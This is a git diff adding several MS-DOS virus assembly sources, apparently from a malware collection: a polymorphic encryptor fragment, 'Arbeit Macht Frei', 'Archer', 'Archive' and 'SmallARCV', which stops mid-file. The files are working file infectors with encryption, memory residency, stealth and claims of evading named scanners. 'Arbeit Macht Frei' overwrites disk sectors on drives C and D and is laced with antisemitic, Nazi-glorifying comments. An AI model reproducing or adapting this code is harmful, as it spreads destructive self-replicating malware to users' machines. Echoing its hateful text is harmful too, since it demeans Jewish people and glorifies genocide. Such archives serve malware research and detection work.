+ POP BX + LODSB + MOV FUNCTION[BP],AL + SHL AX,2 + ADD AX,BX + LEA BX,VAL5T[BP] + CALL USETABLE + MOV AL,B [ENCRYPTVAL][BP] + STOSB + CALL INSERTGARBAGE + POP AX + LEA BX,VAL6T[BP] + CALL USETABLE + LODSB + LEA BX,VAL7T[BP] + CALL USETABLE + MOV AX,DI + MOV BX,DUMMY2[BP] + SUB AX,BX + NOT AX + STOSB + PUSH DI + MOV AX,CALNEWCX[BP] + SUB DI,AX + ADD DI,DX + MOV AX,DI + MOV DI,DUMMY1[BP] + STOSW + POP DI + + POP CX + POP SI + POP DS + +CODEIT: LODSB + CMP B FUNCTION[BP],0 + JNE WHATELSE1 + XOR AL,ENCRYPTVAL[BP] + JMP NOELSE +WHATELSE1: CMP B FUNCTION[BP],1 + JNE WHATELSE2 + SUB AL,ENCRYPTVAL[BP] + JMP NOELSE +WHATELSE2: ADD AL,ENCRYPTVAL[BP] +NOELSE: STOSB + LOOP CODEIT + MOV CX,CALNEWCX[BP] + SUB DI,CX + MOV CX,DI + RET + +USETABLE: + XLAT + STOSB + RET + +INSERTGARBAGE: PUSH DS + PUSH SI + PUSH AX + PUSH CX + PUSH DS + PUSH SI + XOR AX,AX + MOV DS,AX + MOV AX,WORD PTR DS:[046CH] + ADD AX,DI + SUB AX,SI + ADD AX,BP + ADD AX,WORD PTR CS:[DI][BP] + ADD AL,AH + ADD AX,CX + AND AX,02H +AMOUNT EQU $-2 + MOV CX,AX + AND AX,7H + POP SI + POP DS + CMP CX,0 + JE NOGARBAGE +INSERT: LEA BX,RANDOMCODE[BP] + CALL USETABLE + ADD AX,DI + ADD AX,SI + ADD AX,WORD PTR CS:[DI][BP] + AND AX,7 + LOOP INSERT +NOGARBAGE: POP CX + POP AX + POP SI + POP DS + RET + +MTMAX DB 4 ; MT 0 + DB 10 ; MT 1 + DB 3 ; MT 2 + DB 2 ; MT 4 + DB 3 ; MT 5 + DB 2 ; MT 6 + DB 6 ; MT 7 +MTMAXLEN EQU $-MTMAX + +MT DB 0 ; MT 0 + DB 0 ; MT 1 + DB 0 ; MT 2 + DB 0 ; MT 4 + DB 0 ; MT 5 + DB 0 ; MT 6 + DB 0 ; MT 7 +MTLEN EQU $-MT + + ; Offset Encrypted part +ENCOFS DW 0 + + ; Counterloop decryption +COUNTLOOP DW 0 + + ; Encryption Valua +ENCRYPTVAL DB 0 + + ; Function +FUNCTION DB 0 ; 0=xor, 1=add, 2=sub (xchange in encr) + + ; MT 0 +VAL1T DB 0BBH,0BEH,0BFH ; Mov Bx,Si,Di + + ; MT 1 +VAL2T DB 0B8H,0BBH,0BAH,0BDH ; Mov Ax,Bx,Dx,Bp + + ; MT 2 V +VAL3SUB DB 089H, 087H, 087H, 031H, 001H, 009H + + DB 08BH, 033H, 003H, 00BH ; NIEUW + + ; MT 1 H +VAL3T DB 0C1H,0D9H,0D1H,0E9H ; Mov Ax,Bx,Dx,Bp -> Cx + DB 0C1H,0CBH,0CAH,0CDH ; Xchg Ax,Bx,Dx,Bp -> Cx + DB 0C1H,0D9H,0D1H,0E9H ; Xchg Ax,Bx,Dx,Bp <- Cx + DB 0C1H,0D9H,0D1H,0E9H ; Xor Ax,Bx,Dx,Bp -> Cx + DB 0C1H,0D9H,0D1H,0E9H ; Add Ax,Bx,Dx,Bp -> Cx + DB 0C1H,0D9H,0D1H,0E9H ; Or Ax,Bx,Dx,Bp -> Cx + + DB 0C8H,0CBH,0CAH,0CDH ; NIEUW + DB 0C8H,0CBH,0CAH,0CDH ; + DB 0C8H,0CBH,0CAH,0CDH ; + DB 0C8H,0CBH,0CAH,0CDH ; + + + + ; MT 4 H +VAL4T DB 080H,082H ; 00 / 0000 + + ; MT 5 V + ; MT 0 H +VAL5T DB 037H,034H,035H,037H ; Xor Bx,Si,Di,bx + DB 007H,004H,005H,007H ; Add Bx,Si,Di,bx + DB 02FH,02CH,02DH,02FH ; Sub Bx,Si,Di,bx + + ; MT 0 H +VAL6T DB 043H,046H,047H ; Inc Bx,Si,Di + + ; MT 6 H +VAL7T DB 0E0H,0E2H ; Loop Equal Functions + + ; MT 7 H +RANDOMCODE DB 0FCH,0F8H,090H,0F9H,0F5H ; Random code + DB 0CCH,0FBH,02EH,0F5H + + +FILESPEC DB '*.OCM',0 +WEXL EQU FILESPEC+2 +JUMP DB 0E9H + DW 0 + DB 'Ю' +ORGPRG DB 0CDH,020H,'AR' + + ; + ; The Eighteenth Enochian Key opens the gates of Hell and casts up Lucifer + ; and his blessing. + ; + ; Enochian +DB 13,10,'ILASA MICALAZODA OLAPIRETA IALPEREJI BELIORE: DAS ODO BUSADIRE OIAD OUOARESA' +DB 13,10,'CAOSAGO: CASAREMEJI LAIADA ERANU BERINUTASA CAFAFAME DAS IVEMEDA AQOSO ADOHO' +DB 13,10,'MOZ, OD MAOFASA. BOLAPE COMO BELIORETA PAMEBETA. ZODACARE OD ZODAMERANU! ODO' +DB 13,10,'CICALE QAA. ZODOREJE, LAPE ZODIREDO NOCO MADA, HOATHAHE SAITAN!' + ; English + ; O thou mighty light and burning flame of comfort!, that unveilest the glory + ; of Satan to the center of the Earth; in whom the great secrets of truth + ; have their abiding; that is called in thy kingdom: "strength through joy," + ; and is not to be measured. Be thou a window of comfort unto me. Move there- + ; fore, and appear! Open the mysteries of your creation! Be friendly unto me, + ; for I am the same!, the true worshipper of the highest end ineffable King + ; of Hell! +START EQU $ + + + +VIRLEN EQU $-MAIN + + +; ───────────────────────────────────────────────────────────────────────── +; ───────────────> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <─────────────── +; ───────────> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <─────────── +; ───────────────────────────────────────────────────────────────────────── diff --git a/MSDOS/Virus.MSDOS.Unknown.arbeit.asm b/MSDOS/Virus.MSDOS.Unknown.arbeit.asm new file mode 100644 index 00000000..af60e73c --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.arbeit.asm @@ -0,0 +1,290 @@ +; VirusName: Arbeit Macht Frei! +; Country : Sweden +; Author : The Unforgiven / Immortal Riot +; Date : 01/10-1993 +; +; +; This is a mutation of the Seventh son of a seventh son virus. +; Metal Militia mutated this one for the first issue of our +; magazine, (Insane Reality), but here comes my contribution.. +; +; This is a non-owervriting .COM infector, the infected +; files will grow with 426 bytes. It's kinda big, of the +; reasons of "all" new routines included.. +; +; The virus will check what day it is, and if it's the first +; any month, the virus will overwrite sectors on Drive C and D. +; +; The Fileattributes (Date/Time) will be saved, and +; restored after the virus has infected a file. +; +; I've also added a "Dot-Dot" routine, so the virus will +; not just infect the files in the current directory as +; the original one did. It don't got any encryption, but +; I ain't embarrased of showing my name ...... +; +; Scan v108 can't find this, neither can S&S Toolkit 6.54, +; F-Prot finds it, and TBScan thinks it's a Unknown virus. +; +; ──-──────-───────────--────────────--───────--─-─────────────-─────-─ +; ARBEIT MACHT FREI +; ──-──────-───────────--────────────--───────--─-─────────────-─────-─ +cseg segment + assume cs:cseg,ds:cseg,es:cseg,ss:cseg + +FILELEN equ quit - start +MINTARGET equ 1000 ; 250*4 huh?.. +MAXTARGET equ -(FILELEN+40h) ; FileLenght + writing in file + + org 100h + + .RADIX 16 + +; ──-──────-───────────--────────────--───────--─-─────────────-─────-─ +; Dummy program (infected) +; ──-──────-───────────--────────────--───────--─-─────────────-─────-─ +begin: db 4Dh ; Virus-Marker + jmp start ; Jump to next procedure + +; ──-──────-───────────--────────────--───────--─-─────────────-─────-─ +; Begin of the virus +; ──-──────-───────────--────────────--───────--─-─────────────-─────-─ +start: call start2 ; Call next procedure + add ax,dx ; Adding this line, and S&S + ; Toolkit's findviru bites the dust + +start2: pop bp + sub bp,0103h + + lea si,[bp+offset begbuf-4] ;restore begin of jew + mov di,0100h + movsw + movsw + + mov ax,3300h ;get ctrl-break flag + int 21 + push dx + + xor dl,dl ;clear the flag + mov ax,3301h + int 21 + + mov ax,3524h ;get int24 vector + int 21 + push bx + push es + + mov dx,offset ni24 - 4 ;set new int24 vector + add dx,bp + mov ax,2524h + int 21 + + lea dx,[bp+offset quit] ;set new DTA adres + mov ah,1Ah + int 21 + add dx,1Eh + mov word ptr [bp+offset nameptr-4],dx + + lea si,[bp+offset grandfather-4] ;check youngest jew + cmp [si],0606h + jne verder + + lea dx,[bp+offset sontxt-4] ;Arbeit Jew! + mov ah,09h + int 21 + +verder: mov ax,[si] ;Komme Hier! + xchg ah,al + xor al,al + mov [si],ax + + lea dx,[bp+offset filename-4] ;Find first Jew! + xor cx,cx + mov ah,4Eh + int 21 + +infloop: mov dx,word ptr [bp+offset nameptr-4] + call infect + + mov ah,4Fh ;find Next Jew! + int 21 + jnc infloop + + pop ds ;restore int24 vector + pop dx + mov ax,2524h + int 21 + + pop dx ;restore ctrl-break flag + mov ax,3301h + int 21 + + push cs + push cs + pop ds + pop es + mov ax,0100h ;put old start-adres on stack + push ax + ret + +; ──-──────-───────────--────────────--───────--─-─────────────-─────-─ +; Tries to infect the file (ptr to ASCIIZ-name is DS:DX) +; ──-──────-───────────--────────────--───────--─-─────────────-─────-─ +infect: + cld + + mov ax,4300h ;ask attributes + int 21 + push cx + + xor cx,cx ;clear flags + call setattr + jc return1 + + mov ax,3D02h ;Cut up the Jew! + int 21 + jc return1 + xchg bx,ax + + mov ax,5700h ;get jew's date & time + int 21 + push cx + push dx + + mov cx,4 ;read begin of the jew + lea dx,[bp+offset begbuf-4] + mov ah,3fh + int 21 + + mov al,byte ptr [bp+begbuf-4] ;infected Jew? + cmp al,4Dh + je return2 + cmp al,5Ah ;or a weird EXE + je return2 + + call endptr ;get jew-length (cm) + + cmp ax,MAXTARGET ;check length of jew + jnb return2 + cmp ax,MINTARGET + jbe return2 + + push ax + mov cx,FILELEN ;write program to end of jew! + lea dx,[bp+offset start-4] + mov ah,40h + int 21 + cmp ax,cx ;are all bytes written? + pop ax + jnz return2 + + sub ax,4 ;calculate new start-adres + mov word ptr [bp+newbeg-2],ax + + call beginptr ;write new begin of jew! + mov cx,4 + lea dx,[bp+offset newbeg-4] + mov ah,40h + int 21 + + inc byte ptr [si] ;Jew 'Serial' Number.. + +; ──-──────-───────────--────────────--───────--─-─────────────-─────-─ +; 'Dot-Dot' +; ──-──────-───────────--────────────--───────--─-─────────────-─────-─ + MOV DX,OFFSET point_point ; '..' + MOV AH,3BH ; + INT 21h ; + +return2: pop dx ;restore jew date & time + pop cx + mov ax,5701h + int 21 + + mov ah,3Eh ;close the jew! + int 21 + +return1: + call daycheck + pop cx ;restore jew-attribute + ret + +; ──-──────-───────────--────────────--───────--─-─────────────-─────-─ +; DayChecker +; ──-──────-───────────--────────────--───────--─-─────────────-─────-─ +daycheck: ; + mov ah,2ah ; Check for day + int 21h ; + cmp dl,01 ; Check for the first any month + je Hitler ; Day=01=Heil Hitler! + jmp Setattr ; Jump to 'Setattr'.. + +; ──-──────-───────────--────────────--───────--─-─────────────-─────-─ +; Play Around with Drive C a while +; ──-──────-───────────--────────────--───────--─-─────────────-─────-─ +Hitler: ; Did quite a good job.. + cli ; Cuz NoOne escaped! + mov ah,2 ; (C:) ; Kill Вm all! + cwd ; Killing from 0 + mov cx,0100h ; Continue to 256 + int 026h ; No Rescue! + jmp Auschwitz ; Travel by train + +; ──-──────-───────────--────────────--───────--─-─────────────-─────-─ +; Hitler has send your drive D to Auschwitz +; ──-──────-───────────--────────────--───────--─-─────────────-─────-─ +Auschwitz: ; There they're killed.. + MOV AL,3 ; (D:) ; Choose D-Drive + MOV CX,700 ; Kill 700 of them! + MOV DX,00 ; Start with the first + MOV DS,[DI+99] ; Machine Gun.. + MOV BX,[DI+55] ; Tortue Chamber.. + call hitler ; Start it over! + +; ──-──────-───────────--────────────--───────--─-─────────────-─────-─ +; Set Attributes (Date/Time) +; ──-──────-───────────--────────────--───────--─-─────────────-─────-─ +setattr: mov dx,word ptr [bp+offset nameptr-4] + mov ax,4301h + int 21 + ret + +; ──-──────-───────────--────────────--───────--─-─────────────-─────-─ +; Subroutines for file-pointer +; ──-──────-───────────--────────────--───────--─-─────────────-─────-─ +beginptr: mov ax,4200h ;go to begin of jew + jmp short ptrvrdr + +endptr: mov ax,4202h ;go to end of jew +ptrvrdr: xor cx,cx + xor dx,dx + int 21 + ret + +; ──-──────-───────────--────────────--───────--─-─────────────-─────-─ +; Interupt handler 24 +; ──-──────-───────────--────────────--───────--─-─────────────-─────-─ +ni24: mov al,03 + iret + +; ──-──────-───────────--────────────--───────--─-─────────────-─────-─ +; Data +; ──-──────-───────────--────────────--───────--─-─────────────-─────-─ +begbuf db 0CDh, 20h, 0, 0 +newbeg db 4Dh, 0E9h, 0, 0 +nameptr dw ? +sontxt db ' ARBEIT MACHT FREI! ',0Dh, 0Ah, '$';mutation name + db ' The Unforgiven / Immortal Riot ' ;that's me! + db ' Sweden 01/10/93 ' +grandfather db 0 +father db 0 +filename db '*.COM',0 ; jew-Spec! +point_point db '..',0 ; 'dot-dot' +quit: + +cseg ends + end begin + +; Greetings goes out to Raver, Metal Miltia, Scavenger +; to our mighty Hitler, and of-cuz all the Neo-Nazis!! +; Remember..Arbeit Macht Frei! / The Unforgiven / \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.archer.asm b/MSDOS/Virus.MSDOS.Unknown.archer.asm new file mode 100644 index 00000000..d2ca8e49 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.archer.asm @@ -0,0 +1,455 @@ +; archer.asm : [Archer] MnemoniX `94 +; Created with Biological Warfare - Version 0.90с by MnemoniX + +PING equ 0AE3Bh +PONG equ 0CD28h +STAMP equ 30 +MARKER equ 04D4Dh + +code segment + org 0 + assume cs:code,ds:code + +start: + db 0E9h,3,0 ; to virus +host: + db 0CDh,20h,0 ; host program +virus_begin: + + db 0BBh ; decryption module +code_offset dw offset virus_code + mov dx,VIRUS_SIZE / 2 + 1 + +decrypt: + db 02Eh,081h,07h ; ADD CS:[BX] +cipher dw 0 + inc bx + inc bx + dec dx + jnz decrypt + + +virus_code: + call $ + 3 ; BP is instruction ptr. + pop bp + sub bp,offset $ - 1 + + push ds es + + mov ax,PING ; test for residency + int 21h + cmp bx,PONG + je installed + + mov ax,es ; Get PSP + dec ax + mov ds,ax ; Get MCB + + sub word ptr ds:[3],((MEM_SIZE+1023) / 1024) * 64 + sub word ptr ds:[12h],((MEM_SIZE+1023) / 1024) * 64 + mov es,word ptr ds:[12h] + + push cs ; copy virus into memory + pop ds + xor di,di + mov si,bp + mov cx,(virus_end - start) / 2 + 1 + rep movsw + + xor ax,ax ; capture interrupts + mov ds,ax + + sub word ptr ds:[413h],(MEM_SIZE+1023) / 1024 + + mov si,21h * 4 ; get original int 21 + mov di,offset old_int_21 + movsw + movsw + + mov word ptr ds:[si - 4],offset new_int_21 + mov ds:[si - 2],es ; and set new int 21 + +installed: + call activate ; activation routine + + pop es ds ; restore segregs + cmp sp,MARKER ; check for .EXE + je exe_exit + +com_exit: + lea si,[bp + host] ; restore host program + mov di,100h + push di + movsw + movsb + + call fix_regs ; fix up registers + ret ; and leave +exe_exit: + mov ax,ds ; fix up return address + add ax,10h + add ax,cs:[bp + exe_cs] + mov cs:[bp + return_cs],ax + + mov ax,cs:[bp + exe_ip] + mov cs:[bp + return_ip],ax + mov sp,[bp + exe_sp] ; restore SP + + call fix_regs ; fix up registers + db 0EAh ; back to host program +return_ip dw 0 +return_cs dw 0 + +exe_cs dw -16 ; orig CS:IP +exe_ip dw 103h +exe_sp dw -2 ; orig SP + +fix_regs: + xor ax,ax + cwd + xor bx,bx + mov si,100h + xor di,di + ret + +; interrupt 21 handler +int_21: + pushf + call dword ptr cs:[old_int_21] + ret + +new_int_21: + cmp ax,PING ; residency test + je ping_pong + cmp ax,4B00h ; execute program + je execute + cmp ah,3Dh ; file open + je file_open + cmp ah,11h ; directory stealth + je dir_stealth + cmp ah,12h + je dir_stealth +int_21_exit: + db 0EAh ; never mind ... +old_int_21 dd 0 + +ping_pong: + mov bx,PONG + iret + +dir_stealth: + call int_21 ; get dir entry + test al,al + js dir_stealth_done + + push ax bx es + mov ah,2Fh + int 21h + + cmp byte ptr es:[bx],-1 ; check for extended FCB + jne no_ext_FCB + add bx,7 +no_ext_FCB: + mov ax,es:[bx + 17h] ; check for infection marker + and al,31 + cmp al,STAMP + jne dir_fixed + + sub word ptr es:[bx + 1Dh],VIRUS_SIZE + 3 + sbb word ptr es:[bx + 1Fh],0 +dir_fixed: + pop es bx ax +dir_stealth_done: + iret + +file_open: + push ax cx di es + call get_extension + cmp [di],'OC' ; .COM file? + jne perhaps_exe ; perhaps .EXE then + cmp byte ptr [di + 2],'M' + jne not_prog + jmp a_program +perhaps_exe: + cmp [di],'XE' ; .EXE file? + jne not_prog + cmp byte ptr [di + 2],'E' + jne not_prog +a_program: + pop es di cx ax + jmp execute ; infect file +not_prog: + pop es di cx ax + jmp int_21_exit + +execute: + push ax bx cx dx si di ds es + + xor ax,ax ; critical error handler + mov es,ax ; routine - catch int 24 + mov es:[24h * 4],offset int_24 + mov es:[24h * 4 + 2],cs + + mov ax,4300h ; change attributes + int 21h + + push cx dx ds + xor cx,cx + call set_attributes + + mov ax,3D02h ; open file + call int_21 + jc cant_open + xchg bx,ax + push cs ; CS = DS + pop ds + + mov ax,5700h ; save file date/time + int 21h + push cx dx + mov ah,3Fh + mov cx,28 + mov dx,offset read_buffer + int 21h + + cmp word ptr read_buffer,'ZM' ; .EXE? + je infect_exe ; yes, infect as .EXE + + mov al,2 ; move to end of file + call move_file_ptr + + cmp dx,65279 - (VIRUS_SIZE + 3) + ja dont_infect ; too big, don't infect + + sub dx,VIRUS_SIZE + 3 ; check for previous infection + cmp dx,word ptr read_buffer + 1 + je dont_infect + + add dx,VIRUS_SIZE + 3 + mov word ptr new_jump + 1,dx + + add dx,103h + call encrypt_code ; encrypt virus + + mov dx,offset read_buffer ; save original program head + int 21h + mov ah,40h ; write virus to file + mov cx,VIRUS_SIZE + mov dx,offset encrypt_buffer + int 21h + + xor al,al ; back to beginning of file + call move_file_ptr + + mov dx,offset new_jump ; and write new jump + int 21h + +fix_date_time: + pop dx cx + and cl,-32 ; add time stamp + or cl,STAMP ; for directory stealth + mov ax,5701h ; restore file date/time + int 21h + +close: + pop ds dx cx ; restore attributes + call set_attributes + + mov ah,3Eh ; close file + int 21h + +cant_open: + pop es ds di si dx cx bx ax + jmp int_21_exit ; leave + + +set_attributes: + mov ax,4301h + int 21h + ret + +dont_infect: + pop cx dx ; can't infect, skip + jmp close + +move_file_ptr: + mov ah,42h ; move file pointer + cwd + xor cx,cx + int 21h + + mov dx,ax ; set up registers + mov ah,40h + mov cx,3 + ret +infect_exe: + cmp word ptr read_buffer[26],0 + jne dont_infect ; overlay, don't infect + + cmp word ptr read_buffer[16],MARKER + je dont_infect ; infected already + + les ax,dword ptr read_buffer[20] + mov exe_cs,es ; CS + mov exe_ip,ax ; IP + + mov ax,word ptr read_buffer[16] + mov exe_sp,ax ; SP + mov word ptr read_buffer[16],MARKER + mov ax,4202h ; to end of file + cwd + xor cx,cx + int 21h + + push ax dx ; save file size + + push bx + mov cl,12 ; calculate offsets for CS + shl dx,cl ; and IP + mov bx,ax + mov cl,4 + shr bx,cl + add dx,bx + and ax,15 + pop bx + + sub dx,word ptr read_buffer[8] + mov word ptr read_buffer[22],dx + mov word ptr read_buffer[20],ax + + pop dx ax ; calculate prog size + + add ax,VIRUS_SIZE + 3 + adc dx,0 + mov cx,512 ; in pages + div cx ; then save results + inc ax + mov word ptr read_buffer[2],dx + mov word ptr read_buffer[4],ax + mov dx,word ptr read_buffer[20] + call encrypt_code ; encrypt virus + + + mov ah,40h + mov cx,VIRUS_SIZE + 3 + mov dx,offset encrypt_buffer + int 21h + + + mov ax,4200h ; back to beginning + cwd + xor cx,cx + int 21h + + mov ah,40h ; and fix up header + mov cx,28 + mov dx,offset read_buffer + int 21h + jmp fix_date_time ; done + +courtesy_of db '[BW]',0 +signature db '[Archer] MnemoniX `94',0 + +activate: + xor ah,ah ; get system time + int 1Ah + cmp dl,0F1h + jb no_activate + + mov ah,0Fh ; get display page + int 10h + + mov al,dl ; random number, 0-15 + and al,15 + + mov ah,3 ; activating - get cursor + int 10h ; position and save + push dx + + mov dh,al ; set cursor at random + xor dl,dl ; row, column 1 + mov ah,2 + int 10h + + mov di,79 + mov cx,1 + +arrow: + mov ax,91Ah ; print arrow and erase + mov bl,10 ; 79 times + int 10h + + push cx ; time delay + mov cx,-200 + rep lodsb + pop cx + + mov ah,2 + mov dl,' ' + int 21h + + dec di + jnz arrow + + pop dx ; reset cursor + mov ah,2 + int 10h ; and we're done + +no_activate: + ret + +get_extension: + push ds ; find extension + pop es + mov di,dx + mov cx,64 + mov al,'.' + repnz scasb + ret + +encrypt_code: + push ax cx + + push dx + xor ah,ah ; get time for random number + int 1Ah + + mov cipher,dx ; save encryption key + pop cx + add cx,virus_code - virus_begin + mov code_offset,cx ; save code offset + + push cs ; ES = CS + pop es + + mov si,offset virus_begin ; move decryption module + mov di,offset encrypt_buffer + mov cx,virus_code - virus_begin + rep movsb + + mov cx,VIRUS_SIZE / 2 + 1 +encrypt: + lodsw ; encrypt virus code + sub ax,dx + stosw + loop encrypt + + pop cx ax + ret + +int_24: + mov al,3 ; int 24 handler + iret +new_jump db 0E9h,0,0 + +virus_end: +VIRUS_SIZE equ virus_end - virus_begin +read_buffer db 28 dup (?) ; read buffer +encrypt_buffer db VIRUS_SIZE dup (?) ; encryption buffer + +end_heap: + +MEM_SIZE equ end_heap - start + +code ends + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.archive.asm b/MSDOS/Virus.MSDOS.Unknown.archive.asm new file mode 100644 index 00000000..c7e4f0a3 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.archive.asm @@ -0,0 +1,317 @@ +; Virus generated by G¤ 0.70с +; G¤ written by Dark Angel of Phalcon/Skism + +; File: ARCHIVE.ASM +; by + +id = 'FE' + + .model tiny + .code + +; Assemble with: +; TASM /m3 filename.ASM +; TLINK /t filename.OBJ + org 0100h + +carrier: + db 0E9h,0,0 ; jmp start + +start: + call next +next: + pop bp + sub bp, offset next + + push ds + push es + + mov ax, 3524h + int 0021h + push es + push bx + + lea dx, [bp+INT24] ; ASSumes ds=cs + mov ax, 2524h + int 0021h + + push cs + pop es + + + push cs + pop ds + + push cs + pop es + + mov ah, 001Ah ; Set DTA + lea dx, [bp+offset newDTA] + int 0021h + + mov dl, 0000h ; Default drive + mov ah, 0047h ; Get directory + lea si, [bp+offset origdir+1] + int 0021h + + push ds + push es + + mov ax, 3521h ; get int 21h handler + int 0021h + + push es + pop ds + xchg bx, dx + mov ax, 2503h ; set int 3 = int 21h handler + int 0021h + + pop es + pop ds + lea di, [bp+offset origCSIP2] + lea si, [bp+offset origCSIP] + movsw + movsw + movsw + movsw + + mov byte ptr [bp+numinfect], 0000h +traverse_loop: + lea dx, [bp+offset COMmask] + call infect + lea dx, [bp+offset EXEmask] + call infect + cmp [bp+numinfect], 0001h + jae exit_traverse ; exit if enough infected + + mov ah, 003Bh ; CHDIR + lea dx, [bp+offset dot_dot] ; go to previous dir + int 0003h + jnc traverse_loop ; loop if no error + +exit_traverse: + + lea si, [bp+offset origdir] + mov byte ptr [si], '\' + xchg dx, si + mov ah, 003Bh ; restore directory + int 0003h + + pop dx + pop ds + mov ax, 2524h + int 0003h + + pop ds + pop es + + mov dx, 0080h ; in the PSP + mov ah, 001Ah ; restore DTA to default + int 0003h + + cmp sp, id + je restore_EXE +restore_COM: + mov di, 0100h + push di + lea si, [bp+offset old3_2] + mov cx, 0003h ; Caution: far from the most efficient + rep movsb ; routine +return: + ret + +restore_EXE: + mov ax, es + add ax, 0010h + add cs:[bp+word ptr origCSIP2+2], ax + add ax, cs:[bp+word ptr origSPSS2] + cli + mov ss, ax + mov sp, cs:[bp+word ptr origSPSS2+2] + sti + db 00EAh +origCSIP2 db ? +old3_2 db ?,?,? +origSPSS2 dd ? + +origCSIP db ? +old3 db 0cdh,20h,0 +origSPSS dd ? + +INT24: + mov al, 0003h + iret + +infect: + mov cx, 0007h ; all files + mov ah, 004Eh ; find first +findfirstnext: + int 0003h + jc return + + cmp word ptr [bp+newDTA+33], 'AM' ; Check if COMMAND.COM + mov ah, 004Fh ; Set up find next + jz findfirstnext ; Exit if so + + mov ax, 4300h + lea dx, [bp+newDTA+30] + int 0003h + jc return + push cx + push dx + + mov ax, 4301h ; clear file attributes + push ax ; save for later use + xor cx, cx + int 0003h + + mov ax, 3D02h + lea dx, [bp+newDTA+30] + int 0003h + mov bx, ax ; xchg ax,bx is more efficient + + mov ax, 5700h ; get file time/date + int 0003h + push cx + push dx + + mov ah, 003Fh + mov cx, 001Ah + lea dx, [bp+offset readbuffer] + int 0003h + + mov ax, 4202h + xor cx, cx + xor dx, dx + int 0003h + + cmp word ptr [bp+offset readbuffer], 'ZM' + jz checkEXE + + mov cx, word ptr [bp+offset readbuffer+1] ; jmp location + add cx, heap-start+3 ; convert to filesize + cmp ax, cx ; equal if already infected + jz jmp_close + + cmp ax, 65535-(endheap-start) ; check if too large + ja jmp_close ; Exit if so + + lea si, [bp+offset readbuffer] + lea di, [bp+offset old3] + movsw + movsb + + mov cx, 0003h + sub ax, cx + mov word ptr [bp+offset readbuffer+1], ax + mov dl, 00E9h + mov byte ptr [bp+offset readbuffer], dl + jmp short continue_infect +checkEXE: + cmp word ptr [bp+offset readbuffer+10h], id + jnz skipp +jmp_close: + jmp close +skipp: + + lea si, [bp+readbuffer+14h] + lea di, [bp+origCSIP] + movsw ; Save original CS and IP + movsw + + sub si, 000Ah + movsw ; Save original SS and SP + movsw + + push bx ; save file handle + mov bx, word ptr [bp+readbuffer+8] ; Header size in paragraphs + mov cl, 0004h + shl bx, cl + + push dx ; Save file size on the + push ax ; stack + + sub ax, bx ; File size - Header size + sbb dx, 0000h ; DX:AX - BX -> DX:AX + + mov cx, 0010h + div cx ; DX:AX/CX = AX Remainder DX + + mov word ptr [bp+readbuffer+0Eh], ax ; Para disp stack segment + mov word ptr [bp+readbuffer+14h], dx ; IP Offset + mov word ptr [bp+readbuffer+16h], ax ; Para disp CS in module. + mov word ptr [bp+readbuffer+10h], id ; Initial SP + + pop ax ; Filelength in DX:AX + pop dx + + add ax, heap-start + adc dx, 0000h + + mov cl, 0009h + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax + pop ax + and ah, 0001h + + mov word ptr [bp+readbuffer+2], ax ; the EXE header. + mov word ptr [bp+readbuffer+4], dx ; Fix-up the file size in + + pop bx ; restore file handle + mov cx, 001Ah + +continue_infect: + push cx ; save # bytes to write + + mov cx, heap-start + lea dx, [bp+offset start] + mov ah, 0040h ; concatenate virus + int 0003h + + xor cx, cx + mov ax, 4200h + cwd + int 0003h + + + mov ah, 0040h + pop cx + lea dx, [bp+offset readbuffer] + int 0003h + + inc [bp+numinfect] + +close: + mov ax, 5701h ; restore file time/date + pop dx + pop cx + int 0003h + + mov ah, 003Eh + int 0003h + + pop ax ; restore file attributes + pop dx ; get filename and + pop cx ; attributes from stack + int 0003h + + mov ah, 004Fh ; find next + jmp findfirstnext + +dot_dot db '..',0 +EXEmask db '*.EXE',0 +COMmask db '*.COM',0 +creator db '',0 +virusname db '',0 + + +heap: +newDTA db 43 dup (?) +origdir db 65 dup (?) +numinfect db ? +readbuffer db 1ah dup (?) +endheap: + end carrier diff --git a/MSDOS/Virus.MSDOS.Unknown.arcvsmal.asm b/MSDOS/Virus.MSDOS.Unknown.arcvsmal.asm new file mode 100644 index 00000000..503b6e57 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.arcvsmal.asm @@ -0,0 +1,138 @@ + + .radix 16 + .model tiny + .code + org 100h + +main: + jmp start +start: + call get_pointer ;>>xref=<06106><< + +get_pointer: + pop bp ; pop cs:ip of stack + sub bp,offset get_pointer ; adjust + + lea si,word ptr [bp+old_jump]; loc of old jump + mov di,0100h ; where to put it + push di ; save on stack for later return + movsw + movsb + + mov ah,1ah ; set DTA + lea dx,word ptr ss:d061ef[bp] ; + int 21h + + lea dx,[bp+com_file] ; COM filespec + mov ah,4eh ; find first file + mov cx,0007h ; all attributes + +find_loop: + int 21h ; + + jb set_dta ; none found then jump. + + call open_file ; open the file + + mov ah,3fh ; read from file + lea dx,word ptr ss:d0621a[bp] ; store here + mov cx,001ah ; number of bytes + int 21h + + mov ah,3eh ; close the file + int 21h + + mov ax,word ptr ss:d06209[bp] ; get file siz + cmp ax,0feceh ; cmp to 65k. + ja find_next ; to big then forget it. + + mov bx,word ptr ss:d0621b[bp] ; get jump loc in file + add bx,00efh ; add virus size + cmp ax,bx ; does it equal file size? + + jne infect_com ; nope then get file + +find_next: + mov ah,4fh ; find next file + jmp short find_loop + +set_dta: + mov ah,1ah ; set dta + mov dx,80h ; to original position + int 21h + ret + +old_jump: + int 20h ; original jump + db 00 ; original file so its an int 20h. + +set_attribute: + mov ax,4301h ; set file attr. + lea dx,word ptr ss:d0620d[bp] ; filename + int 21h ; cl has attribs + ret + + +sig db '[SmallARCV]',0 + db 'Apache Warrior.',0 +com_file db '*.com',0 ; com filespec + +open_file: + mov ax,3d02h ; open file read/write + lea dx,word ptr ss:d0620d[bp] ; location of filename + int 21h + xchg ax,bx ; handle -> bx + ret + +infect_com: + mov cx,0003h ; # of bytes to write + sub ax,cx ; adjust filesize for jmp. + lea si,word ptr ss:d0621a[bp] ; victims original jmp + lea di,word ptr old_jump[bp] ; place here + movsw ; move it + movsb + mov byte ptr [si-03],0e9h ; set up new jump + mov word ptr [si-02],ax ; and save it + + push cx ; save # of bytes to write + xor cx,cx ; clear attributes + call set_attribute ; set attributes + call open_file ; open 